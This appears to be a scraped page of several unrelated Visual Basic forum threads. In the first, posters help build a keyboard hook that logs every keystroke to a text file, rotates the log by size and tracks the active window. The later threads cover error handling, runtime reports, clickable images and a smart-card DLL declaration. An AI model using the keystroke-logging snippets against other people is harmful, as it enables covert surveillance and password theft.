I changed the declaration for the text file so it is public in the module like
Public txt As IWshRuntimeLibrary.TextStream
and removed the line
Dim txt As IWshRuntimeLibrary.TextStream
from Form1
I then added this to the KeyboardCallback event inside the if block
txt.WriteLine(Chr(lParam.vkCode) & " " & lParam.vkCode)
Hey Presto!!
To remove the hook add
UnhookKeyboard()
to the form_Closing event
"If i was king cigarettes would be free."

thanks Purple Monk;
but with this line txt.WriteLine(Chr(lParam.vkCode) & " " & lParam.vkCode) writing two times like hheelllloo wwoorrlldd
and can i pause for writing until to create new txt file later than first txt its size like xxx kb ?
i thinked this
fileSize = FileLen(fileName) / 1000
If fileSize >= Text1.Text Then
but then i got error when i tryed close this txt file beucase getforegroundwindow is still working and hook too and still trying for write

Set enabled property of the Timer control to True
At run time you can use
Timer1.Enabled = True
Set Interval property of the Timer to 10000 ( 10 * 1000 milliseconds )
Double click the Timer control
You can use this method to do whatever you want
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick<br />
<br />
End Sub
There are many web sites on the internet about timers

Hi all,
Any help would be greatly appreciated.
I was wondering if there is any way to catch every unhandled error in an application so that the program can then perform some exit tasks before crashing out no matter what the error is. Is this possible?
I have tried the API SetUnhandledException but this doesn't seem to do it. Maybe i'm doing it wrong.
I have also scoured the internet and have tried the examples i felt were relevant but none seem to be able to provide what i want.
Please advise if you can.
This is VB6 by the way.
Thanks in advance.

Hi,there guyz.I'm currently working on a project that requires the following-:
on a click of a button a report is created reflecting what is on the form currently,i.e the program should create reports at runtime
I tried the usual way by using data environment connecting to data reports but that only creates reports based on the data on the database(old data)and not the current data (data on the form when at runtime)
Your responsibility determines your authority which in turn specifies your teritory

Thanks in advance

Is this possible? I have some funky graphics, but if I have to put them onto a button as an image then they will go a bit wonky. So I basically want is to display the images just as images, but to have a button that will be invisible overlayed on top of it but still clickable. Thus adding the effect of it being a normal button.
Cheers.

Hi,
I need to call a dll function but have no idea how to declare the function in VB.NET
In the .h file, it is declare as follows:
int CALLBACK gscBsiGcReadTagList(
IN UTILCardHandle hCard,
IN unsigned char* usAID,
IN unsigned int unAIDLen,
OUT GCTag* pTagArray,
INOUT unsigned int* pnTagNb
);
In the C sample code, it is called as follows
void CreateDataInContainer()
{
long lResp = BSI_OK;
unsigned char usAID[BUFSIZ];
unsigned int unAIDLen=0;
char szLecture[BUFSIZ];
GCTag ucTag=0;
unsigned int unTag=1;
unsigned char usValue[500];
unsigned int unValueLen=0;
printf ("\ngscBsiGcDataCreate");
unAIDLen = sizeof (usAID);
GetContainerAID ( usAID, &unAIDLen);
GetString ("\nEnter Tag", szLecture, sizeof (szLecture));
sscanf (szLecture, "%d", &unTag);
ucTag = (char)unTag;
GetString ("\nEnter Data Value ", szLecture, sizeof (szLecture));
strcpy ((char *)usValue, szLecture);
unValueLen = strlen (szLecture);
printf("\nSize of value=%d",unValueLen);
lResp = gscBsiGcDataCreate(
hCard,
usAID,
unAIDLen,
ucTag,
usValue,
unValueLen
);
if (lResp != BSI_OK)
{
DisplayError(" ... ", lResp);
}
else
{
printf ("\n ... OK\n");
}
}
So, can anyone help me with the declaration and calling in VB.NET?
Thanks!
